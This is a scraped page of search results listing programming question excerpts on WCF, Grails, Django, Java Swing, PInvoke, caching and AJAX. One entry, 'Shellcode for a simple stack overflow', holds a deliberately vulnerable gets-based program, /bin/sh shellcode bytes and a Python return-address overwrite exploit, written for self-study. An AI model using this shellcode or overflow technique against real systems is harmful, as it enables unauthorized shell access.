Search Results

Search found 26908 results on 1077 pages for 'asynchronous wcf call'.

Page 288/1077 | < Previous Page | 284 285 286 287 288 289 290 291 292 293 294 295  | Next Page >

• Slow XML-RPC in Windows 7 with XML-RPC.NET

  - by Emre Sahin

  I'm considering to use XML-RPC.NET to communicate with a Linux XML-RPC server written in Python. I have tried a sample application (MathApp) from Cook Computing's XML-RPC.NET but it took 30 seconds for the app to add two numbers within the same LAN with server. I have also tried to run a simple client written in Python on Windows 7 to call the same server and it responded in 5 seconds. The machine has 4 GB of RAM with comparable processing power so this is not an issue. Then I tried to call the server from a Windows XP system with Java and PHP. Both responses were pretty fast, almost instantly. The server was responding quickly on localhost too, so I don't think the latency arise from server. My googling returned me some problems regarding Windows' use of IPv6 but our call to server does include IPv4 address (not hostname) in the same subnet. Anyways I turned off IPv6 but nothing changed. Are there any more ways to check for possible causes of latency?

  Read the article

• Is there a C# secure socket other than SSLStream?

  - by AI0867

  .NET 2.0 provides only the System.Net.Security.SslStream class for secure sockets in .NET 2.0 and higher, but this uses the Stream interface, which provides the blocking Read/Write members and asynchronous Begin{Read,Write} members. I'm looking for a class that provides functionality similar to System.Net.Sockets.Socket. Specifically, something resembling Poll/Select, so I can handle multiple sockets in a single thread without blocking. The mentalis security library supplies a SecureSocket class, but is explicitly unsupported for versions greater than .NET 1.1.

  Read the article

• Grails beginner problem "Failed to invoke Servlet 2.5"

  - by A Lion

  I'm trying to get Groovy on Grails set up on a Snow Leopard machine. I followed all the grails.com install directions and am trying to start the application from Grails: A Quick-Start Guide by Dave Klein. I ran grails create-app TekDays with no apparent problems and was able to cd to the TekDays folder, but when I try to run grails run-app I get the following: Welcome to Grails 1.3.1 - http://grails.org/ Licensed under Apache Standard License 2.0 Grails home is set to: /grails Base Directory: /apps/TekDays Resolving dependencies... Dependencies resolved in 4469ms. Running script /grails/scripts/RunApp.groovy Environment set to development [delete] Deleting directory /Users/name/.grails/1.3.1/projects/TekDays/tomcat Running Grails application.. 2010-05-24 21:42:39,559 [main] ERROR context.GrailsContextLoader - Error executing bootstraps: Failed to invoke Servlet 2.5 getContextPath method java.lang.IllegalStateException: Failed to invoke Servlet 2.5 getContextPath method at org.grails.tomcat.TomcatServer.start(TomcatServer.groovy:164) at grails.web.container.EmbeddableServer$start.call(Unknown Source) at _GrailsRun_groovy$_run_closure5_closure12.doCall(_GrailsRun_groovy:159) at _GrailsRun_groovy$_run_closure5_closure12.doCall(_GrailsRun_groovy) at _GrailsSettings_groovy$_run_closure10.doCall(_GrailsSettings_groovy:282) at _GrailsSettings_groovy$_run_closure10.call(_GrailsSettings_groovy) at _GrailsRun_groovy$_run_closure5.doCall(_GrailsRun_groovy:150) at _GrailsRun_groovy$_run_closure5.call(_GrailsRun_groovy) at _GrailsRun_groovy.runInline(_GrailsRun_groovy:116) at _GrailsRun_groovy.this$4$runInline(_GrailsRun_groovy) at _GrailsRun_groovy$_run_closure1.doCall(_GrailsRun_groovy:59) at RunApp$_run_closure1.doCall(RunApp.groovy:33) at gant.Gant$_dispatch_closure5.doCall(Gant.groovy:381) at gant.Gant$_dispatch_closure7.doCall(Gant.groovy:415) at gant.Gant$_dispatch_closure7.doCall(Gant.groovy) at gant.Gant.withBuildListeners(Gant.groovy:427) at gant.Gant.this$2$withBuildListeners(Gant.groovy) at gant.Gant$this$2$withBuildListeners.callCurrent(Unknown Source) at gant.Gant.dispatch(Gant.groovy:415) at gant.Gant.this$2$dispatch(Gant.groovy) at gant.Gant.invokeMethod(Gant.groovy) at gant.Gant.executeTargets(Gant.groovy:590) at gant.Gant.executeTargets(Gant.groovy:589) Caused by: java.lang.NoSuchMethodException: javax.servlet.ServletContext.getContextPath() at java.lang.Class.getMethod(Class.java:1605) ... 23 more I've googled every derivative of "Failed to invoke Servlet 2.5" that I can think of, but have thus far been unable to find anything that helps me understand, yet alone resolve, the error. Any advice to help me resolve this would be very much appreciated!

  Read the article

• Threading.Timer vs. Forms.Timer

  - by Jekke

  The short form of this question: When, if ever, is it appropriate to use the Forms.Timer in a multithreaded WinForms application? More specifically, I am architecting an application that uses multiple System.Threading.Timers to launch processes asynchronously, check queues containing the results of those asynchronous processes, and update the statistics to be shown by the application's main form. In an application like that, is it appropriate to use a Forms.Timer to actually check the application statistics and draw them to the main form or would that just throw a wrench into the application's smooth running?

  Read the article

• Django Form for date range

  - by gramware

  I am trying to come up with a form that lets the user select a date range to generate a web query in Django. I am having errors getting the date to filter with in my view, I am unable to strip the date. Here is my forms.py class ReportFiltersForm(forms.Form): start_date = forms.DateField(input_formats='%Y,%m,%d',widget=SelectDateWidget()) end_date = forms.DateField(input_formats='%Y,%m,%d',widget=SelectDateWidget()) And my view if request.method == 'POST': form = ReportFiltersForm(request.POST) sdy = request.POST['start_date_year'] sdm = request.POST['start_date_month'] sdd = request.POST['start_date_day'] edy = request.POST['end_date_year'] edm = request.POST['end_date_month'] edd = request.POST['end_date_day'] start_date= datetime.date(sdy, sdm, sdd) end_date= datetime.date(edy, edm,edd) Traceback Traceback (most recent call last): File "/usr/lib/python2.6/site-packages/django/core/servers/basehttp.py", line 651, in __call__ return self.application(environ, start_response) File "/usr/lib/python2.6/site-packages/django/core/handlers/wsgi.py", line 241, in __call__ response = self.get_response(request) File "/usr/lib/python2.6/site-packages/django/core/handlers/base.py", line 134, in get_response return self.handle_uncaught_exception(request, resolver, exc_info) File "/usr/lib/python2.6/site-packages/django/core/handlers/base.py", line 154, in handle_uncaught_exception return debug.technical_500_response(request, *exc_info) File "/usr/lib/python2.6/site-packages/django/core/handlers/base.py", line 92, in get_response response = callback(request, *callback_args, **callback_kwargs) File "/home/projects/acms/cms/views.py", line 470, in eventreports start_date= datetime.date(sdy, sdm, sdd) TypeError: an integer is required

  Read the article

• Cannot access updated Java object from Saxon XSLT processor

  - by chipk

  I am working with an open source version of the Saxon XSLT processor "Saxon 9.0.0.2J from Saxonica" and am trying to make use of the java extensibility for the first time. I am running into an issue I suspect may be a limitation on the open source version, but wanted to check first whether there might be something I am just missing here. From the snippet below, my result is that the final value of $c1 does not change as a result of the call to greg:setTime() - i.e. the $c1 variable within Saxon appears to be unhooked from the underlying Java object and there is no apparent way to access the object as updated by the setTime() call. NOTE that all code in the snippet is tested and working otherwise - i.e. $c1 is properly instantiated by the getInstance() call, $startdate is of the proper format and $d1 is properly instantiated. Thoughts? <xsl:transform ..... xmlns:sql="java:java.sql.Date" xmlns:greg="java:java.util.GregorianCalendar" ..... > .... <xsl:element name="JobExpireDate"> <xsl:variable name="c1" select="greg:getInstance()" /> <xsl:variable name="d1" select="sql:valueOf($startdate)" /> <xsl:variable name="void" select="greg:setTime($c1,$d1)" /> <xsl:value-of select="$c1" /> </xsl:element>

  Read the article

• Java SwingWorker still uses 98% CPU after it's done.

  - by RemiX

  I am new to the Java SwingWorker class, but I'm trying to get it to do some stuff in the background. That part works already, but now, when it is finished, the Windows Task Manager still shows that 70-98% of the CPU is still being used. Before I hit the 'Start' button it is only 3-15% and after I close the program it returns to those values. But what is still happening when the SwingWorker already reported being done?? I'll give you a simplified version of my code: I have this StereoProcessor extending SwingWorker, with doInBackground(): yLoop for(some values y) { for(some values x) { if(isCancelled()) break yLoop; else { setProgress(to some value); // do some non-SingWorker-related stuff } } } return returnValue; I call to this process through another code: stereoProcessor.addPropertyChangeListener(new PropertyChangeListener() { public void propertyChange(PropertyChangeEvent evt) { if(evt.getPropertyName().equals("state")) if(evt.getNewValue().equals(StereoProcessor.StateValue.DONE) { // do stuff } } } }); stereoProcessor.computeSomething(); // this method calls execute() That's about it, so I don't understand what it keeps doing. I tried putting some System.outs in the code in different places, but all stopped printing after a while. Does anyone know what's going on? Edit: I noticed the CPU also keeps running after a simple call to a method in StereoProcessor that doesn't even call execute()...

  Read the article

• PInvoke Unbalances the stack

  - by Giawa

  Good afternoon, I have been working on a dll that can use CORBA to communicate to an application that is network aware. The code works fine if I run it as a C++ console application. However, I have gotten stuck on exporting the methods as a dll. The methods seems to export fine, and if I call a method with no parameters then it works as expected. I'm hung up on passing a C# string to a C++ method. My C++ method header looks like this: bool __declspec(dllexport) SpiceStart(char* installPath) My C# DLL import code is as follows: [DllImportAttribute("SchemSipc.dll", CharSet=CharSet.Ansi)] private static extern bool SpiceStart(string installPath); I call the method like so: bool success = SpiceStart(@"c:\sedatools"); The call to SpiceStart throws the exception "PInvokeStackImbalance", which "is likely because the managed PInvoke signature does not match the unmanaged target signature." Does anyone have any suggestions? If I remove the char* and string from the parameters, then the method runs just fine. However, I'd like to be able to pass the installation path of the application to the dll from C#. Thanks in advance, Giawa

  Read the article

• ASP.NET 2.0 app runs on Win 2003 in IIS 5 isolation mode but not in (default) IIS 6 mode

  - by Tex

  The app uses DLLImport to call a legacy unmanaged dll. Let's call this dll Unmanaged.dll for the sake of this question. Unmanaged.dll has dependencies on 5 other legacy dll's. All of the legacy dll's are placed in the WebApp/bin/ directory of my ASP.NET application. When IIS is running in 5.0 isolation mode, the app works fine - calls to the legacy dll are processed without error. When IIS is running in the default 6.0 mode, the app is able to initiate the Unmanaged.dll (InitMe()), but dies during a later call to it (ProcessString()). I'm pulling my hair out here. I've moved the unmanaged dll's to various locations, tried all kinds of security settings and searched long and hard for a solution. Help! Sample code: [DllImport("Unmanaged.dll", EntryPoint="initME", CharSet=System.Runtime.InteropServices.CharSet.Ansi, CallingConvention=CallingConvention.Cdecl)] internal static extern int InitME(); //Calls to InitMe work fine - Unmanaged.dll initiates and writes some entries in a dedicated log file [DllImport("Unmanaged.dll", EntryPoint="processString", CharSet=System.Runtime.InteropServices.CharSet.Ansi, CallingConvention=CallingConvention.Cdecl)] internal static extern int ProcessString(string inStream, int inLen, StringBuilder outStream, ref int outLen, int maxLen); //Calls to ProcessString cause the app to crash, without leaving much of a trace that I can find so far

  Read the article

• Django | django-socialregistration error

  - by MMRUser

  I'm trying to add the facebook connect feature to my site, I decided to use django socialregistration.All are setup including pyfacebook, here is my source code. settings.py MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'facebook.djangofb.FacebookMiddleware', 'socialregistration.middleware.FacebookMiddleware', ) urls.py (r'^callback/$', 'fbproject.fbapp.views.callback'), views.py def callback(request): return render_to_response('canvas.fbml') Template <html> <body> {% load facebook_tags %} {% facebook_button %} {% facebook_js %} </body> </html> but when I point to the URL, I'm getting this error Traceback (most recent call last): File "C:\Python26\lib\site-packages\django\core\servers\basehttp.py", line 279, in run self.result = application(self.environ, self.start_response) File "C:\Python26\lib\site-packages\django\core\servers\basehttp.py", line 651, in __call__ return self.application(environ, start_response) File "C:\Python26\lib\site-packages\django\core\handlers\wsgi.py", line 241, in __call__ response = self.get_response(request) File "C:\Python26\lib\site-packages\django\core\handlers\base.py", line 73, in get_response response = middleware_method(request) File "build\bdist.win32\egg\socialregistration\middleware.py", line 13, in process_request request.facebook.check_session(request) File "C:\Python26\lib\site-packages\facebook\__init__.py", line 1293, in check_session self.session_key_expires = int(params['expires']) ValueError: invalid literal for int() with base 10: 'None' Django 1.1.1 *Python 2.6.2*

  Read the article

• xmlhttprequest always return with status code 0 for firefox

  - by Neo

  hi, I am trying to make asynchronous calls using xmlhttprequest object so it completely works fine in internet explorer but for firefox it wont work a small code snippet of problem if (req.readyState == 4) { if (req.status == 200) //here firefox gives status code always 0 and for IE works fine { //read response } else { alert("There was a problem with the request."); } }

  Read the article

• Using a4j:support 's onchange event with h:selectOneMenu

  - by user339637

  <h:selectOneMenu id="selectOneMenu" value="#{Bean1.val1}" > <f:selectItems value="#{Bean1.selectItems}"/> <a4j:support event="onchange" action="#{Bean1.onSelectOneMenuChange}" reRender="textbox1 , textbox2 , textbox3, textbox4" /> </h:selectOneMenu> <h:inputText id="textbox1" value="#{Bean1.textbox1}"> </h:inputText> <h:inputText id="textbox2" value="#{Bean1.textbox2}"> </h:inputText> <h:inputText id="textbox3" value="#{Bean1.textbox3}"> </h:inputText> <h:inputText id="textbox4" value="#{Bean1.textbox4}"> </h:inputText> Bean1.onSelectOneMenuChange() will change the value of Bean1.textbox1 , Bean1.textbox2,Bean1.textbox3 and Bean1.textbox4 depending on the value selected (Bean1.val1) .Sometimes , it will change all the textbox value and sometimes it will only changes some textbox value. When users change the value in the "selectOneMenu" drop down list control , the JSF framework will not call the update model values phase but call the Bean1.onSelectOneMenuChange() directly. After that , the all the textbox are reRender. Because the update model values phase is not called , the values entered by the user is never set the the Bean1 and the original value is shown in the textbox after reRender . So I want to ask: How can I manually call the update model values phase inside Bean1.onSelectOneMenuChange() ?How can I get the value input input by the users inside Bean1.onSelectOneMenuChange() and set it to the corresponding fields of the Bean1 ? 2.Another approach is that only reRender those textbox whose values are updated inside the Bean1.onSelectOneMenuChange() .However , there are many cases . For example , a value will change all the textbox value and a values may only change some textbox value.How can I reRender conditionally ? What method is more prefer for maintainability?

  Read the article

• [MFC] I can't re-parent a window

  - by John

  Following on from this question, now I have a clearer picture what's going on... I have a MFC application with no main window, which exposes an API to create dialogs. When I call some of these methods repeatedly, the dialogs created are parented to each other instead of all being parented to the desktop... I have no idea why. But anyway even after creation, I am unable to change the parent back to NULL or CWnd::GetDesktopWindow()... if I call SetParent followed by GetParent, nothing has changed. So apart from the really weird question of why Windows is magically parenting each dialog to the last one created, is there anything I'm missing to be able to set these windows as children of the desktop? UPDATED: I have found the reason for all this, but not the solution. From my dialog constructor, we end up in: BOOL CDialog::CreateIndirect(LPCDLGTEMPLATE lpDialogTemplate, CWnd* pParentWnd, void* lpDialogInit, HINSTANCE hInst) { ASSERT(lpDialogTemplate != NULL); if (pParentWnd == NULL) pParentWnd = AfxGetMainWnd(); m_lpDialogInit = lpDialogInit; return CreateDlgIndirect(lpDialogTemplate, pParentWnd, hInst); } Note: if (pParentWnd == NULL)pParentWnd = AfxGetMainWnd(); The call-stack from my dialog constructor looks like this: mfc80d.dll!CDialog::CreateIndirect(const DLGTEMPLATE * lpDialogTemplate=0x005931a8, CWnd * pParentWnd=0x00000000, void * lpDialogInit=0x00000000, HINSTANCE__ * hInst=0x00400000) mfc80d.dll!CDialog::CreateIndirect(void * hDialogTemplate=0x005931a8, CWnd * pParentWnd=0x00000000, HINSTANCE__ * hInst=0x00400000) mfc80d.dll!CDialog::Create(const char * lpszTemplateName=0x0000009d, CWnd * pParentWnd=0x00000000) mfc80d.dll!CDialog::Create(unsigned int nIDTemplate=157, CWnd * pParentWnd=0x00000000) MyApp.exe!CMyDlg::CMyDlg(CWnd * pParent=0x00000000)

  Read the article

• Rails.cache throws "marshal dump" error when changed from memory store to memcached store

  - by gsmendoza

  If I set this in my environment config.action_controller.cache_store = :mem_cache_store ActionController::Base.cache_store will use a memcached store but Rails.cache will use a memory store instead: $ ./script/console >> ActionController::Base.cache_store => #<ActiveSupport::Cache::MemCacheStore:0xb6eb4bbc @data=<MemCache: 1 servers, ns: nil, ro: false>> >> Rails.cache => #<ActiveSupport::Cache::MemoryStore:0xb78b5e54 @data={}> In my app, I use Rails.cache.fetch(key){ object } to cache objects inside my helpers. All this time, I assumed that Rails.cache uses the memcached store so I'm surprised that it uses memory store. If I change the cache_store setting in my environment to config.cache_store = :mem_cache_store both ActionController::Base.cache_store and Rails.cache will now use the same memory store, which is what I expect: $ ./script/console >> ActionController::Base.cache_store => #<ActiveSupport::Cache::MemCacheStore:0xb7b8e928 @data=<MemCache: 1 servers, ns: nil, ro: false>, @middleware=#<Class:0xb7b73d44>, @thread_local_key=:active_support_cache_mem_cache_store_local_cache> >> Rails.cache => #<ActiveSupport::Cache::MemCacheStore:0xb7b8e928 @data=<MemCache: 1 servers, ns: nil, ro: false>, @middleware=#<Class:0xb7b73d44>, @thread_local_key=:active_support_cache_mem_cache_store_local_cache> However, when I run the app, I get a "marshal dump" error in the line where I call Rails.cache.fetch(key){ object } no marshal_dump is defined for class Proc Extracted source (around line #1): 1: Rails.cache.fetch(fragment_cache_key(...), :expires_in => 15.minutes) { ... } vendor/gems/memcache-client-1.8.1/lib/memcache.rb:359:in 'dump' vendor/gems/memcache-client-1.8.1/lib/memcache.rb:359:in 'set_without_newrelic_trace' What gives? Is Rails.cache meant to be a memory store? Should I call controller.cache_store.fetch in the places where I call Rails.cache.fetch?

  Read the article

• When does a PHP <5.3.0 daemon script receive signals?

  - by MidnightLightning

  I've got a PHP script in the works that is a job worker; its main task is to check a database table for new jobs, and if there are any, to act on them. But jobs will be coming in in bursts, with long gaps in between, so I devised a sleep cycle like: while(true) { if ($jobs = get_new_jobs()) { // Act upon the jobs } else { // No new jobs now sleep(30); } } Good, but in some cases that means there might be a 30 second lag before a new job is acted upon. Since this is a daemon script, I figured I'd try the pcntl_signal hook to catch a SIGUSR1 signal to nudge the script to wake up, like: $_isAwake = true; function user_sig($signo) { global $_isAwake; daemon_log("Caught SIGUSR1"); $_isAwake = true; } pcntl_signal(SIGUSR1, 'user_sig'); while(true) { if ($jobs = get_new_jobs()) { // Act upon the jobs } else { // No new jobs now daemon_log("No new jobs, sleeping..."); $_isAwake = false; $ts = time(); while(time() < $ts+30) { sleep(1); if ($_isAwake) break; // Did a signal happen while we were sleeping? If so, stop sleeping } $_isAwake = true; } } I broke the sleep(30) up into smaller sleep bits, in case a signal doesn't interrupt a sleep() command, thinking that this would cause at most a one-second delay, but in the log file, I'm seeing that the SIGUSR1 isn't being caught until after the full 30 seconds has passed (and maybe the outer while loop resets). I found the pcntl_signal_dispatch command, but that's only for PHP 5.3 and higher. If I were using that version, I could stick a call to that command before the if ($_isAwake) call, but as it currently stands I'm on 5.2.13. On what sort of situations is the signals queue interpreted in PHP versions without the means to explicitly call the queue parsing? Could I put in some other useless command in that sleep loop that would trigger a signal queue parse within there?

  Read the article

• How to avoid XCode framework weak-linking problems?

  - by Frank R.

  Hi, I'm building an application that takes advantage of Mac OS X 10.6-only technologies, but without giving up backwards compatibility to 10.5 Leopard. The way I do this is by setting the 10.6 SDK as the base SDK, weak-linking all frameworks and setting the deployment target to 10.5 as described in: http://developer.apple.com/mac/library/DOCUMENTATION/MacOSX/Conceptual/BPFrameworks/Concepts/WeakLinking.html This works fine; before making a call that is Snow Leopard-only I need to check that the selector or indeed the class actually exist. Or I can just check the OS version before making the call. The problem is that this is incredibly fragile. If I make a single call that is 10.6 only I blow Leopard-compatibility. So using even the normal code code completion feature can be dangerous. My question: is there any way of checking which calls are not defined on 10.5 before doing a release build? Some kind of static analysis, or even just a trick (a target set the other SDK?) would do. I obviously should test on a Leopard machine before releasing anything, but even so I can't possibly go through all paths of the program before every release. Any advice would be appreciated. Best regards, Frank

  Read the article

• Consume webservice from a .NET DLL - app.config problem

  - by Asaf R

  Hi, I'm building a DLL, let's call it mydll.dll, and in it I sometimes need to call methods from webservice, myservice. mydll.dll is built using C# and .NET 3.5. To consume myservice from mydll I've Added A Service in Visual Studio 2008, which is more or less the same as using svcutil.exe. Doing so creates a class I can create, and adds endpoint and bindings configurations to mydll app.config. The problem here is that mydll app.config is never loaded. Instead, what's loaded is the app.config or web.config of the program I use mydll in. I expect mydll to evolve, which is why I've decoupled it's funcionality from the rest of my system to begin with. During that evolution it will likely add more webservice to which it'll call, ruling out manual copy-paste ways to overcome this problem. I've looked at several possible approaches to attacking this issue: Manually copy endpoints and bindings from mydell app.config to target EXE or web .config file. Couples the modules, not flexible Include endpoints and bindings from mydll app.config in target .config, using configSource (see here). Also add coupling between modules Programmatically load mydll app.config, read endpoints and bindings, and instantiate Binding and EndpointAddress. Use a different tool to create local frontend for myservice I'm not sure which way to go. Option 3 sounds promising, but as it turns out it's a lot of work and will probably introduce several bugs, so it doubtfully pays off. I'm also not familiar with any tool other than the canonical svcutil.exe. Please either give pros and cons for the above alternative, provide tips for implementing any of them, or suggest other approaches. Thanks, Asaf

  Read the article

• Rails - difference between config.cache_store and config.action_controller.cache_store?

  - by gsmendoza

  If I set this in my environment config.action_controller.cache_store = :mem_cache_store ActionController::Base.cache_store will use a memcached store but Rails.cache will use a memory store instead: $ ./script/console >> ActionController::Base.cache_store => #<ActiveSupport::Cache::MemCacheStore:0xb6eb4bbc @data=<MemCache: 1 servers, ns: nil, ro: false>> >> Rails.cache => #<ActiveSupport::Cache::MemoryStore:0xb78b5e54 @data={}> In my app, I use Rails.cache.fetch(key){ object } to cache objects inside my helpers. All this time, I assumed that Rails.cache uses the memcached store so I'm surprised that it uses memory store. If I change the cache_store setting in my environment to config.cache_store = :mem_cache_store both ActionController::Base.cache_store and Rails.cache will now use the same memory store, which is what I expect: $ ./script/console >> ActionController::Base.cache_store => #<ActiveSupport::Cache::MemCacheStore:0xb7b8e928 @data=<MemCache: 1 servers, ns: nil, ro: false>, @middleware=#<Class:0xb7b73d44>, @thread_local_key=:active_support_cache_mem_cache_store_local_cache> >> Rails.cache => #<ActiveSupport::Cache::MemCacheStore:0xb7b8e928 @data=<MemCache: 1 servers, ns: nil, ro: false>, @middleware=#<Class:0xb7b73d44>, @thread_local_key=:active_support_cache_mem_cache_store_local_cache> However, when I run the app, I get a "marshal dump" error in the line where I call Rails.cache.fetch(key){ object } no marshal_dump is defined for class Proc Extracted source (around line #1): 1: Rails.cache.fetch(fragment_cache_key(...), :expires_in => 15.minutes) { ... } vendor/gems/memcache-client-1.8.1/lib/memcache.rb:359:in 'dump' vendor/gems/memcache-client-1.8.1/lib/memcache.rb:359:in 'set_without_newrelic_trace' What gives? Is Rails.cache meant to be a memory store? Should I call controller.cache_store.fetch in the places where I call Rails.cache.fetch?

  Read the article

• JNI problem when calling a native library that loads another native library

  - by TheEnemyOfQuality

  I've got a bit of an odd problem. I have a project in C++ that's basically a wrapper for a third party DLL like this: MyLibrary --loads DLL_A ----loads DLL_B I load DLL_A with LoadLibrary(), wrap several of its functions and generate my own DLL. I've tested this in a C++ project and a C# project. Both do everything they're supposed to do: load DLL_A, make a couple of function calls, and indirectly load DLL_B. The problem is when I build a DLL for java and make the calls through JNI. Everything runs like it should (no java.lang.UnsatisfiedLinkError), but when it comes time for DLL_A to load DLL_B it doesn't work. From debugging, the loading of DLL_B happens on a function call in DLL_A that takes a callback. When called from Java, this function call seems to fail (the function pointer is fine and the actual call goes off without a hitch), and I get an odd pop-up window saying DLL_B failed to load, and my program is left waiting for a callback that never happens. I can explicitly load DLL_B just fine (both from Java and from C++) and I've checked every possible path, path variable, and tried placing the dlls everywhere to see if it could be looking somewhere funny. I'm pretty sure it's not a path problem. Ultimately I don't know how DLL_A is loading DLL_B and I can't figure out why everything works fine in C++ and C#, but not in Java. I'm absolutely flummoxed. It could still be something specific to my setup (although I've looked as hard as I can look), but I'm throwing this scenario out there to see if anyone has run into a similar problem. -Dave

  Read the article

• ASP MVC Ajax Controller pattern?

  - by Kevin Won

  My MVC app tends to have a lot of ajax calls (via JQuery.get()). It's sort of bugging me that my controller is littered with many tiny methods that get called via ajax. It seems to me to be sort of breaking the MVC pattern a bit--the controller is now being more of a data access component then a URI router. I refactored so that I have my 'true' controller for a page just performing standard routing responses (returing ActionResponse objects). So a call to /home/ will obviously kick up the HomeController class that will respond in the canonical controller fashion by returning a plain-jane View. I then moved my ajax stuff into a new controller class whose name I'm prefacing with 'Ajax'. So, for example, my page might have three different sections of functionality (say shopping cart or user account). I have an ajax controller for each of these (AjaxCartController, AjaxAccountController). There is really nothing different about moving the ajax call stuff into its own class--it's just to keep things cleaner. on client side obviously the JQuery would then use this new controller thusly: //jquery pseudocode call to specific controller that just handles ajax calls $.get('AjaxAccount/Details'.... (1) is there a better pattern in MVC for responding to ajax calls? (2) It seems to me that the MVC model is a bit leaky when it comes to ajax--it's not really 'controlling' stuff. It just happens to be the best and least painful way of handling ajax calls (or am I ignorant)? In other words, the 'Controller' abstraction doesn't seem to play nice with Ajax (at least from a patterns perspective). Is there something I'm missing?

  Read the article

• What should be the responsibility of a presenter here?

  - by Achu

  I have a 3 layer design. (UI / BLL / DAL) UI = ASP.NET MVC In my view I have collection of products for a category. Example: Product 1, Product 2 etc.. A user able to select or remove (by selecting check box) product’s from the view, finally save as a collection when user submit these changes. With this 3 layer design how this product collection will be saved? How the filtering of products (removal and addition) to the category object? Here are my options. (A) It is the responsibility of the controller then the pseudo Code would be Find products that the user selected or removed and compare with existing records. Add or delete that collection to category object. Call SaveCategory(category); // BLL CALL Here the first 2 process steps occurs in the controller. (B) It is the responsibility of BLL then pseudo Code would be Collect products what ever user selected SaveCategory(category, products); // BLL CALL Here it's up to the SaveCategory (BLL) to decide what products should be removed and added to the database. Thanks

  Read the article

• JavaScript - Building JSON object

  - by user208662

  Hello, I'm trying to understand how to build a JSON object in JavaScript. This JSON object will get passed to a JQuery ajax call. Currently, I'm hard-coding my JSON and making my JQuery call as shown here: $.ajax({ url: "/services/myService.svc/PostComment", type: "POST", contentType: "application/json; charset=utf-8", data: '{"comments":"test","priority":"1"}', dataType: "json", success: function (res) { alert("Thank you!"); }, error: function (req, msg, obj) { alert("There was an error"); } }); This approach works. But, I need to dynamically build my JSON and pass it onto the JQuery call. However, I cannot figure out how to dynamically build the JSON object. Currently, I'm trying the following without any luck: var comments = $("#commentText").val(); var priority = $("#priority").val(); var json = { "comments":comments,"priority":priority }; $.ajax({ url: "/services/myService.svc/PostComment", type: "POST", contentType: "application/json; charset=utf-8", data: json, dataType: "json", success: function (res) { alert("Thank you!"); }, error: function (req, msg, obj) { alert("There was an error"); } }); Can someone please tell me what I am doing wrong? I noticed that with the second version, my service is not even getting reached. Thank you

  Read the article

• Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

  - by henning

  Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

  Read the article

• .NET Process.Kill() in a safe way

  - by Orborde

  I'm controlling a creaky old FORTRAN simulator from a VB.NET GUI, using redirected I/O to communicate with the simulator executable. The GUI pops up a "status" window with a progress bar, estimated time, and a "STOP" button (Button_Stop). Now, I want the Button_Stop to terminate the simulator process immediately. The obvious way to do this is to call Kill() on the Child Process object. This gives an exception if it's done after the process has exited, but I can test whether the process is exited before trying to kill it, right? OK, so I do the following when the button is clicked: If Not Child.HasExited Then Child.Kill() Button_Stop.Enabled = False End If However, what if the process happens to exit between the test and the call to Kill()? In that case, I get an exception. The next thing to occur to me was that I can do Button_Stop.Enabled = False in the Process.Exited event handler, and thus prevent the Child.Kill() call in the Button_Stop.Clicked handler. But since the Process.Exited handler is called on a different thread, that still leaves the following possible interleaving: Child process exits. Process.Exited fires, calls Invoke to schedule the Button_Stop.Enabled = False User clicks on Button_Stop, triggering Child.Kill() Button_Stop.Enabled = False actually happens. An exception would then be thrown on step 3. How do I kill the process without any race conditions? Am I thinking about this entirely wrong?

  Read the article

• [ASP.NET MVC] Ajax.BeginForm doesn't work asynchronously

  - by Tony

  Hi, I've read the article http://davidhayden.com/blog/dave/archive/2009/05/19/ASPNETMVCAjaxBeginForm.aspx and now I have small problem with that code: <%using (Ajax.BeginForm("ChangeData", new AjaxOptions { UpdateTargetId = "myLabel" })) { %> <input id="mbutton" type="submit" value="blabla" /> <%} %> <label id="myLabel"></label> then, in the MyBookController.cs is the code to be invoked asynchronous: public ActionResult ChangeData() { return Content("OK"); } but, it doesn't work asynchronously, the compiler doesn't go inside that method

  Read the article

< Previous Page | 284 285 286 287 288 289 290 291 292 293 294 295  | Next Page >